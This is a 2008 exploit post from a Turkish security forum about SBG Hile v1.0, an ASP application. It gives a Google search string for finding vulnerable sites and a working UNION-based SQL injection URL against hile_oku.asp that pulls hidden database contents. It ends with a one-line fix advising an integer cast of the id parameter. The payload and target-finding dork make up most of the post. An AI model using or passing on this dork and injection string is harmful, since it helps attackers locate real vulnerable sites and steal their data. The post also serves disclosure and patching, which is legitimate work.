ROOT
FORUM ROOT
PORTAL ROOT
CYBER NAVIGATION
DÖKÜMANLAR
DÖKÜMAN EKLE
DOWNLOAD/DOSYA ARSIVI
BASINDA CW
CYBER ACADEMY
ORGANIZASYON
NELER YAPTIK?
OPERASYON YÖNETIM SISTEMI
GÖREV ORG. BASVURU
YÖNETICI BASVURU FORMU
MISYON
KURALLAR
KEFALET
KEFIL HAVUZU
MEMBER NAVIGATION
YENI ÜYE BASVURU
PROFIL
MEMBER NETWORK
SIFREMI UNUTTUM
ÖZEL MESAJLARIM
ONAY E-POSTA GÖNDER
Root
>
Exploits / Vulnerabilities
> SBG Hile v1.0 ~ SQL Inj. Vulnerability
SBG Hile v1.0 ~ SQL Inj. Vulnerability | Cyber-Warrior Information Technology's World
Madde
Author :
Bug Researchers
Date :
22.02.2008 16:19:18
#
SBG Hile v1.0 ~ SQL Inj. Vulnerability
[Full Screen Display]
< ------------------- header data start ------------------- > ############################################################# # Application Name : SBG Hile v1.0 # Vulnerable Type : SQL Injection # Google Keyword : hile_oku.asp?id= # Infection : Db’de Sakli bulunan gizli bilgilere Ulasilabilir # Bug Fix Advice : id degiskeni sadece Integer deger alacak sekilde düzenlenmelidir. Ilgili Güvenlik açiginin kapatilmasi için Örnek Kod: id = Cint(Request.QueryString(id)) # author : Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > /hile_oku.asp?id=-1+union+select+0,hile,2,3,4,5+from+hile < -- bug code end of -- >
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©